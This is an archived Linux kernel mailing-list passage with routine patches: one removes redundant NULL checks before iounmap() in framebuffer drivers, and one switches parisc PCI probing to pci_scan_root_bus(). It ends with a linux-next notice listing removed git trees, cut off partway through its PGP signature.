-		iounmap(info->sprite.addr);
+	iounmap(info->sprite.addr);
 #endif
 #endif
 #ifdef __sparc__
diff --git a/drivers/video/fbdev/cirrusfb.c b/drivers/video/fbdev/cirrusfb.c
index d992aa5..d8b3359 100644
--- a/drivers/video/fbdev/cirrusfb.c
+++ b/drivers/video/fbdev/cirrusfb.c
@@ -2164,8 +2164,7 @@ err_release_regions:
 #endif
 	pci_release_regions(pdev);
 err_release_fb:
-	if (cinfo->laguna_mmio != NULL)
-		iounmap(cinfo->laguna_mmio);
+	iounmap(cinfo->laguna_mmio);
 	framebuffer_release(info);
 err_out:
 	return ret;
diff --git a/drivers/video/fbdev/controlfb.c b/drivers/video/fbdev/controlfb.c
index 080fdd2..d386fed 100644
--- a/drivers/video/fbdev/controlfb.c
+++ b/drivers/video/fbdev/controlfb.c
@@ -1068,10 +1068,8 @@ static void control_cleanup(void)
 	if (!p)
 		return;
 
-	if (p->cmap_regs)
-		iounmap(p->cmap_regs);
-	if (p->control_regs)
-		iounmap(p->control_regs);
+	iounmap(p->cmap_regs);
+	iounmap(p->control_regs);
 	if (p->frame_buffer) {
 		if (p->control_use_bank2)
 			p->frame_buffer -= 0x600000;
diff --git a/drivers/video/fbdev/efifb.c b/drivers/video/fbdev/efifb.c
index 4bfff34..a6d08f0 100644
--- a/drivers/video/fbdev/efifb.c
+++ b/drivers/video/fbdev/efifb.c
@@ -65,8 +65,7 @@ static int efifb_setcolreg(unsigned regno, unsigned red, unsigned green,
 
 static void efifb_destroy(struct fb_info *info)
 {
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(info->screen_base);
 	if (request_mem_succeeded)
 		release_mem_region(info->apertures->ranges[0].base,
 				   info->apertures->ranges[0].size);
diff --git a/drivers/video/fbdev/hgafb.c b/drivers/video/fbdev/hgafb.c
index 5ff9fe2..76b231e 100644
--- a/drivers/video/fbdev/hgafb.c
+++ b/drivers/video/fbdev/hgafb.c
@@ -552,8 +552,7 @@ static int hgafb_probe(struct platform_device *pdev)
 
 	if (! hga_card_detect()) {
 		printk(KERN_INFO "hgafb: HGA card not detected.\n");
-		if (hga_vram)
-			iounmap(hga_vram);
+		iounmap(hga_vram);
 		return -EINVAL;
 	}
 
diff --git a/drivers/video/fbdev/hpfb.c b/drivers/video/fbdev/hpfb.c
index a1b7e5f..9b47102 100644
--- a/drivers/video/fbdev/hpfb.c
+++ b/drivers/video/fbdev/hpfb.c
@@ -355,8 +355,7 @@ static void hpfb_remove_one(struct dio_dev *d)
 		iounmap((void *)fb_regs);
 	release_mem_region(d->resource.start, resource_size(&d->resource));
 	fb_dealloc_cmap(&fb_info.cmap);
-	if (fb_info.screen_base)
-		iounmap(fb_info.screen_base);
+	iounmap(fb_info.screen_base);
 }
 
 static struct dio_device_id hpfb_dio_tbl[] = {
diff --git a/drivers/video/fbdev/i810/i810_main.c b/drivers/video/fbdev/i810/i810_main.c
index bb674e4..ce3a585 100644
--- a/drivers/video/fbdev/i810/i810_main.c
+++ b/drivers/video/fbdev/i810/i810_main.c
@@ -2105,10 +2105,8 @@ static void i810fb_release_resource(struct fb_info *info,
 	if (par->i810_gtt.i810_fb_memory)
 		agp_free_memory(gtt->i810_fb_memory);
 
-	if (par->mmio_start_virtual)
-		iounmap(par->mmio_start_virtual);
-	if (par->aperture.virtual)
-		iounmap(par->aperture.virtual);
+	iounmap(par->mmio_start_virtual);
+	iounmap(par->aperture.virtual);
 	kfree(par->edid);
 	if (par->res_flags & FRAMEBUFFER_REQ)
 		release_mem_region(par->aperture.physical,
diff --git a/drivers/video/fbdev/macfb.c b/drivers/video/fbdev/macfb.c
index cda7587..dde0520 100644
--- a/drivers/video/fbdev/macfb.c
+++ b/drivers/video/fbdev/macfb.c
@@ -541,16 +541,11 @@ static void __init macfb_setup(char *options)
 
 static void __init iounmap_macfb(void)
 {
-	if (dafb_cmap_regs)
-		iounmap(dafb_cmap_regs);
-	if (v8_brazil_cmap_regs)
-		iounmap(v8_brazil_cmap_regs);
-	if (rbv_cmap_regs)
-		iounmap(rbv_cmap_regs);
-	if (civic_cmap_regs)
-		iounmap(civic_cmap_regs);
-	if (csc_cmap_regs)
-		iounmap(csc_cmap_regs);
+	iounmap(dafb_cmap_regs);
+	iounmap(v8_brazil_cmap_regs);
+	iounmap(rbv_cmap_regs);
+	iounmap(civic_cmap_regs);
+	iounmap(csc_cmap_regs);
 }
 
 static int __init macfb_init(void)
diff --git a/drivers/video/fbdev/offb.c b/drivers/video/fbdev/offb.c
index 43a0a52..5efce99 100644
--- a/drivers/video/fbdev/offb.c
+++ b/drivers/video/fbdev/offb.c
@@ -281,8 +281,7 @@ static int offb_set_par(struct fb_info *info)
 
 static void offb_destroy(struct fb_info *info)
 {
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(info->screen_base);
 	release_mem_region(info->apertures->ranges[0].base, info->apertures->ranges[0].size);
 	framebuffer_release(info);
 }
diff --git a/drivers/video/fbdev/pvr2fb.c b/drivers/video/fbdev/pvr2fb.c
index 7c74f58..7aa4ef1 100644
--- a/drivers/video/fbdev/pvr2fb.c
+++ b/drivers/video/fbdev/pvr2fb.c
@@ -841,8 +841,7 @@ static int pvr2fb_common_init(void)
 	return 0;
 
 out_err:
-	if (fb_info->screen_base)
-		iounmap(fb_info->screen_base);
+	iounmap(fb_info->screen_base);
 	if (par->mmio_base)
 		iounmap((void *)par->mmio_base);
 
diff --git a/drivers/video/fbdev/s1d13xxxfb.c b/drivers/video/fbdev/s1d13xxxfb.c
index 83433cb..dff38b7 100644
--- a/drivers/video/fbdev/s1d13xxxfb.c
+++ b/drivers/video/fbdev/s1d13xxxfb.c
@@ -750,8 +750,7 @@ s1d13xxxfb_remove(struct platform_device *pdev)
 
 		fb_dealloc_cmap(&info->cmap);
 
-		if (info->screen_base)
-			iounmap(info->screen_base);
+		iounmap(info->screen_base);
 
 		framebuffer_release(info);
 	}
diff --git a/drivers/video/fbdev/s3fb.c b/drivers/video/fbdev/s3fb.c
index f0ae61a..3d9d45f 100644
--- a/drivers/video/fbdev/s3fb.c
+++ b/drivers/video/fbdev/s3fb.c
@@ -1382,8 +1382,7 @@ err_find_mode:
 #ifdef CONFIG_FB_S3_DDC
 	if (par->ddc_registered)
 		i2c_del_adapter(&par->ddc_adapter);
-	if (par->mmio)
-		iounmap(par->mmio);
+	iounmap(par->mmio);
 #endif
 	pci_iounmap(dev, info->screen_base);
 err_iomap:
@@ -1419,8 +1418,7 @@ static void s3_pci_remove(struct pci_dev *dev)
 #ifdef CONFIG_FB_S3_DDC
 		if (par->ddc_registered)
 			i2c_del_adapter(&par->ddc_adapter);
-		if (par->mmio)
-			iounmap(par->mmio);
+		iounmap(par->mmio);
 #endif
 
 		pci_iounmap(dev, info->screen_base);
diff --git a/drivers/video/fbdev/sh_mobile_hdmi.c b/drivers/video/fbdev/sh_mobile_hdmi.c
index 7c72a3f..2a7187d 100644
--- a/drivers/video/fbdev/sh_mobile_hdmi.c
+++ b/drivers/video/fbdev/sh_mobile_hdmi.c
@@ -1397,8 +1397,7 @@ static int __init sh_hdmi_probe(struct platform_device *pdev)
 ecodec:
 	free_irq(irq, hdmi);
 ereqirq:
-	if (hdmi->htop1)
-		iounmap(hdmi->htop1);
+	iounmap(hdmi->htop1);
 emap_htop1:
 	pm_runtime_put(&pdev->dev);
 	pm_runtime_disable(&pdev->dev);
@@ -1428,8 +1427,7 @@ static int __exit sh_hdmi_remove(struct platform_device *pdev)
 	pm_runtime_disable(&pdev->dev);
 	clk_disable_unprepare(hdmi->hdmi_clk);
 	clk_put(hdmi->hdmi_clk);
-	if (hdmi->htop1)
-		iounmap(hdmi->htop1);
+	iounmap(hdmi->htop1);
 	iounmap(hdmi->base);
 	release_mem_region(res->start, resource_size(res));
 
diff --git a/drivers/video/fbdev/sh_mobile_lcdcfb.c b/drivers/video/fbdev/sh_mobile_lcdcfb.c
index d3013cd..4f9a25b 100644
--- a/drivers/video/fbdev/sh_mobile_lcdcfb.c
+++ b/drivers/video/fbdev/sh_mobile_lcdcfb.c
@@ -2489,8 +2489,7 @@ static int sh_mobile_lcdc_remove(struct platform_device *pdev)
 		clk_put(priv->dot_clk);
 	}
 
-	if (priv->base)
-		iounmap(priv->base);
+	iounmap(priv->base);
 
 	if (priv->irq)
 		free_irq(priv->irq, priv);
diff --git a/drivers/video/fbdev/simplefb.c b/drivers/video/fbdev/simplefb.c
index 92cac80..40e6b33 100644
--- a/drivers/video/fbdev/simplefb.c
+++ b/drivers/video/fbdev/simplefb.c
@@ -72,8 +72,7 @@ static int simplefb_setcolreg(u_int regno, u_int red, u_int green, u_int blue,
 
 static void simplefb_destroy(struct fb_info *info)
 {
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(info->screen_base);
 }
 
 static struct fb_ops simplefb_ops = {
diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
index 86621fa..ea12305 100644
--- a/drivers/video/fbdev/stifb.c
+++ b/drivers/video/fbdev/stifb.c
@@ -1374,8 +1374,7 @@ stifb_cleanup(void)
 			unregister_framebuffer(sti->info);
 			release_mem_region(info->fix.mmio_start, info->fix.mmio_len);
 		        release_mem_region(info->fix.smem_start, info->fix.smem_len);
-				if (info->screen_base)
-					iounmap(info->screen_base);
+				iounmap(info->screen_base);
 		        fb_dealloc_cmap(&info->cmap);
 		        framebuffer_release(info);
 		}
diff --git a/drivers/video/fbdev/tdfxfb.c b/drivers/video/fbdev/tdfxfb.c
index f761fe3..69d4062 100644
--- a/drivers/video/fbdev/tdfxfb.c
+++ b/drivers/video/fbdev/tdfxfb.c
@@ -1572,15 +1572,13 @@ out_err_iobase:
 	release_region(pci_resource_start(pdev, 2),
 		       pci_resource_len(pdev, 2));
 out_err_screenbase:
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(info->screen_base);
 	release_mem_region(info->fix.smem_start, pci_resource_len(pdev, 1));
 out_err_regbase:
 	/*
 	 * Cleanup after anything that was remapped/allocated.
 	 */
-	if (default_par->regbase_virt)
-		iounmap(default_par->regbase_virt);
+	iounmap(default_par->regbase_virt);
 	release_mem_region(info->fix.mmio_start, info->fix.mmio_len);
 out_err:
 	framebuffer_release(info);
diff --git a/drivers/video/fbdev/tgafb.c b/drivers/video/fbdev/tgafb.c
index 65ba992..b6fb7e8 100644
--- a/drivers/video/fbdev/tgafb.c
+++ b/drivers/video/fbdev/tgafb.c
@@ -1520,8 +1520,7 @@ static int tgafb_register(struct device *dev)
  err2:
 	fb_dealloc_cmap(&info->cmap);
  err1:
-	if (mem_base)
-		iounmap(mem_base);
+	iounmap(mem_base);
 	release_mem_region(bar0_start, bar0_len);
  err0:
 	framebuffer_release(info);
diff --git a/drivers/video/fbdev/tridentfb.c b/drivers/video/fbdev/tridentfb.c
index 7ed9a22..71567401 100644
--- a/drivers/video/fbdev/tridentfb.c
+++ b/drivers/video/fbdev/tridentfb.c
@@ -1531,13 +1531,11 @@ static int trident_pci_probe(struct pci_dev *dev,
 
 out_unmap2:
 	kfree(info->pixmap.addr);
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(info->screen_base);
 	release_mem_region(tridentfb_fix.smem_start, tridentfb_fix.smem_len);
 	disable_mmio(info->par);
 out_unmap1:
-	if (default_par->io_virt)
-		iounmap(default_par->io_virt);
+	iounmap(default_par->io_virt);
 	release_mem_region(tridentfb_fix.mmio_start, tridentfb_fix.mmio_len);
 	framebuffer_release(info);
 	return err;
diff --git a/drivers/video/fbdev/valkyriefb.c b/drivers/video/fbdev/valkyriefb.c
index 275fb98..2a9213b 100644
--- a/drivers/video/fbdev/valkyriefb.c
+++ b/drivers/video/fbdev/valkyriefb.c
@@ -400,12 +400,9 @@ int __init valkyriefb_init(void)
  out_cmap_free:
 	fb_dealloc_cmap(&p->info.cmap);
  out_free:
-	if (p->frame_buffer)
-		iounmap(p->frame_buffer);
-	if (p->cmap_regs)
-		iounmap(p->cmap_regs);
-	if (p->valkyrie_regs)
-		iounmap(p->valkyrie_regs);
+	iounmap(p->frame_buffer);
+	iounmap(p->cmap_regs);
+	iounmap(p->valkyrie_regs);
 	kfree(p);
 	return err;
 }
diff --git a/drivers/video/fbdev/vesafb.c b/drivers/video/fbdev/vesafb.c
index d79a0ac..693d18e 100644
--- a/drivers/video/fbdev/vesafb.c
+++ b/drivers/video/fbdev/vesafb.c
@@ -176,8 +176,7 @@ static int vesafb_setcolreg(unsigned regno, unsigned red, unsigned green,
 static void vesafb_destroy(struct fb_info *info)
 {
 	fb_dealloc_cmap(&info->cmap);
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(info->screen_base);
 	release_mem_region(info->apertures->ranges[0].base, info->apertures->ranges[0].size);
 }
 
@@ -492,8 +491,7 @@ static int vesafb_probe(struct platform_device *dev)
 	fb_info(info, "%s frame buffer device\n", info->fix.id);
 	return 0;
 err:
-	if (info->screen_base)
-		iounmap(info->screen_base);
+	iounmap(info->screen_base);
 	framebuffer_release(info);
 	release_mem_region(vesafb_fix.smem_start, size_total);
 	return err;
diff --git a/drivers/video/fbdev/w100fb.c b/drivers/video/fbdev/w100fb.c
index 10951c8..aeb53eb 100644
--- a/drivers/video/fbdev/w100fb.c
+++ b/drivers/video/fbdev/w100fb.c
@@ -770,12 +770,9 @@ out:
 		fb_dealloc_cmap(&info->cmap);
 		kfree(info->pseudo_palette);
 	}
-	if (remapped_fbuf != NULL)
-		iounmap(remapped_fbuf);
-	if (remapped_regs != NULL)
-		iounmap(remapped_regs);
-	if (remapped_base != NULL)
-		iounmap(remapped_base);
+	iounmap(remapped_fbuf);
+	iounmap(remapped_regs);
+	iounmap(remapped_base);
 	if (info)
 		framebuffer_release(info);
 	return err;
-- 
2.2.2

--
To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc
Subject: [PATCH v2 22/30] PCI/Parisc: Use pci_scan_root_bus() for simplicity
Date: Wed, 21 Jan 2015 08:30:17 +0800
Lines: 94
Approved: news@gmane.org
Message-ID: <1421800225-26230-23-git-send-email-wangyijing@huawei.com>
References: <1421800225-26230-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1421807713 28854 80.91.229.3 (21 Jan 2015 02:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2015 02:35:13 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <x86@kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing@huawei.com>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.kernel.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 21 03:35:10 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YDl8Q-00072G-5e
	for glk-linux-kernel-3@plane.gmane.org; Wed, 21 Jan 2015 03:35:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754863AbbAUCfF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 20 Jan 2015 21:35:05 -0500
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:3171 "EHLO
	szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754256AbbAUCcu (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 20 Jan 2015 21:32:50 -0500
Original-Received: from 172.24.2.119 (EHLO szxeml433-hub.china.huawei.com) ([172.24.2.119])
	by szxrg02-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
	with ESMTP id CFZ97832;
	Wed, 21 Jan 2015 10:32:43 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml433-hub.china.huawei.com (10.82.67.210) with Microsoft SMTP Server id
 14.3.158.1; Wed, 21 Jan 2015 10:32:32 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1421800225-26230-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1870494 gmane.linux.kernel.pci:38654 gmane.linux.ports.arm.kernel:387813 gmane.linux.ports.ia64:24942 gmane.linux.ports.alpha:2631 gmane.linux.ports.parisc:25553
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1870494>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity. We could also remove the pci bus
resource(dino_current_bus,255) and pci_bus_update_busn_res_end(),
because pci_scan_root_bus() would do the same thing.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |   11 ++---------
 drivers/parisc/lba_pci.c |    7 ++-----
 2 files changed, 4 insertions(+), 14 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index a0580af..e5ee339 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -977,15 +977,11 @@ static int __init dino_probe(struct parisc_device *dev)
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
-	dino_dev->hba.bus_num.start = dino_current_bus;
-	dino_dev->hba.bus_num.end = 255;
-	dino_dev->hba.bus_num.flags = IORESOURCE_BUS;
-	pci_add_resource(&resources, &dino_dev->hba.bus_num);
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
 			 dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
@@ -996,13 +992,10 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
-	pci_bus_update_busn_res_end(bus, max);
-
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
 	 */
-	dino_current_bus = max + 1;
+	dino_current_bus = bus->busn_res.end + 1;
 	pci_bus_assign_resources(bus);
 	pci_bus_add_devices(bus);
 	return 0;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 37e71ff..254bf1a 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1423,7 +1423,6 @@ lba_driver_probe(struct parisc_device *dev)
 	void *tmp_obj;
 	char *version;
 	void __iomem *addr = ioremap_nocache(dev->hpa.start, 4096);
-	int max;
 
 	/* Read HW Rev First */
 	func_class = READ_REG32(addr + LBA_FCLASS);
@@ -1564,15 +1563,13 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
+		pci_scan_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
 				    cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
-
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
 		/* assign resources to un-initialized devices */
@@ -1600,7 +1597,7 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
-	lba_next_bus = max + 1;
+	lba_next_bus = pci_bus_child_max_busnr(lba_bus) + 1;
 	pci_bus_add_devices(lba_bus);
 
 	/* Whew! Finally done! Tell services we got this one covered. */
-- 
1.7.1


From - Thu Nov 08 21:37:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc
Subject: linux-next: tidy up of trees
Date: Wed, 21 Jan 2015 15:10:09 +1100
Lines: 184
Approved: news@gmane.org
Message-ID: <20150121151009.0cb88a21__8459.57578062571$1421813444$gmane$org@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
 boundary="Sig_/049JUzqsR+tEC6nh5fa6big"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1421813444 14601 80.91.229.3 (21 Jan 2015 04:10:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 21 Jan 2015 04:10:44 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>
To: <linux-next@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 21 05:10:40 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YDmcp-0008VJ-51
	for glpp-linux-parisc@plane.gmane.org; Wed, 21 Jan 2015 05:10:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752455AbbAUEKU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 Jan 2015 23:10:20 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:56347 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751691AbbAUEKS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 Jan 2015 23:10:18 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id C77251401AF;
	Wed, 21 Jan 2015 15:10:15 +1100 (AEDT)
X-Mailer: Claws Mail 3.11.1 (GTK+ 2.24.25; i586-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25554
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25554>

--Sig_/049JUzqsR+tEC6nh5fa6big
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Hi all,

[affected tree contacts are bcc'd on this email]

I have decided to do a bit of a tidy up of the trees in linux-next and
my first pass is to remove any tree that has not been updated on over a
year (since next-20140120).  The following 29 trees have been removed
today (of these, 13 have not been updated for more than 2 years).  If
you want a tree restored, just drop me a line - it is easy to do.

Most if the trees are empty, but for the others I have included a
diffstat.

configfs
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/jlbec/configfs.git#l=
inux-next

cpupowerutils
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/brodo/cpupowerutils.=
git#master

dwmw2
Git URL: git://git.infradead.org/users/dwmw2/random-2.6.git#master

embedded
Git URL: git://git.infradead.org/embedded-2.6.git#master

ep93xx
Git URL: git://github.com/RyanMallon/linux-ep93xx.git#ep93xx-for-next
 arch/arm/mach-ep93xx/Kconfig                 |   1 +
 arch/arm/mach-ep93xx/core.c                  | 110 +++++++++++++++++++++++=
+++-
 arch/arm/mach-ep93xx/include/mach/platform.h |   3 +-
 3 files changed, 111 insertions(+), 3 deletions(-)

fbdev
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/plagnioj/linux-fbdev=
.git#for-next

firmware
Git URL: git://git.infradead.org/users/dwmw2/firmware-2.6.git#master

fsnotify
Git URL: git://git.infradead.org/users/eparis/notify.git#for-next

fw-nohz
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/frederic/linux-dynti=
cks.git#nohz/next

hwspinlock
Git URL: git://github.com/ohadbc/hwspinlock-next.git#linux-next

input-mt
Git URL: git://github.com/rydberg/linux.git#for-next

ixp4xx
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/chris/linux.git#next

kconfig
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-kconfi=
g.git#for-next

logfs
Git URL: git://github.com/prasad-joshi/logfs_upstream.git#master
 fs/logfs/dev_mtd.c | 2 +-
 fs/logfs/super.c   | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

lzo-update
Git URL: git://github.com/markus-oberhumer/linux.git#lzo-update
 lib/lzo/lzo1x_decompress_safe.c | 4 ++++
 lib/lzo/lzodefs.h               | 6 ++++++
 2 files changed, 10 insertions(+)

md-current
Git URL: git://neil.brown.name/md#for-linus

msm
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/davidb/linux-msm.git=
#for-next

omfs
Git URL: git://github.com/bcopeland/omfs.git#for-next

openrisc
Git URL: git://openrisc.net/jonas/linux#for-upstream

oprofile
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/rric/oprofile.git#fo=
r-next

parisc
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#=
for-next

pcmcia
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/brodo/pcmcia.git#mas=
ter

signal
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/viro/signal.git#for-=
next

sysctl
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/ebiederm/sysctl.git#=
master

uclinux
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/gerg/uclinux.git#for=
-next

uml
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/rw/uml.git#next
 arch/um/include/asm/Kbuild                  |   1 +
 arch/um/include/asm/processor-generic.h     |   3 -
 arch/um/include/shared/os.h                 |   2 -
 arch/um/include/shared/skas/proc_mm.h       |  44 ------
 arch/um/include/shared/skas/skas.h          |   3 -
 arch/um/include/shared/skas_ptrace.h        |  14 --
 arch/um/kernel/ptrace.c                     |  32 ----
 arch/um/kernel/reboot.c                     |  35 ++---
 arch/um/kernel/skas/mmu.c                   |  68 +++------
 arch/um/kernel/skas/process.c               |  27 ----
 arch/um/kernel/trap.c                       |   2 +-
 arch/um/kernel/um_arch.c                    |  10 --
 arch/um/os-Linux/process.c                  |  16 --
 arch/um/os-Linux/skas/mem.c                 | 100 ++----------
 arch/um/os-Linux/skas/process.c             | 200 ++++++------------------
 arch/um/os-Linux/start_up.c                 | 154 -------------------
 arch/um/sys-ia64/sysdep/skas_ptrace.h       |  22 ---
 arch/um/sys-ppc/shared/sysdep/skas_ptrace.h |  22 ---
 arch/x86/um/ldt.c                           | 227 ++++++------------------=
----
 arch/x86/um/shared/sysdep/faultinfo_32.h    |   3 -
 arch/x86/um/shared/sysdep/faultinfo_64.h    |   3 -
 arch/x86/um/shared/sysdep/skas_ptrace.h     |  22 ---
 22 files changed, 149 insertions(+), 861 deletions(-)

uprobes
Git URL: git://github.com/srikard/linux.git#for-next

viafb
Git URL: git://github.com/schandinat/linux-2.6.git#viafb-next

writeback
Git URL: git://git.kernel.org/pub/scm/linux/kernel/git/wfg/linux.git#writeb=
ack-for-next

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

--Sig_/049JUzqsR+tEC6nh5fa6big
Content-Type: application/pgp-signature
Content-Description: OpenPGP digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJUvyanAAoJEMDTa8Ir7ZwV+SsP/2i0QOH0OPg3WVJlWwOx/XO7
MxdXxyKkNoMSaSrY0RcAaPwbYM8pem8utLds7sBTc6wQIvshZ+qXH6i0QaxC97h6
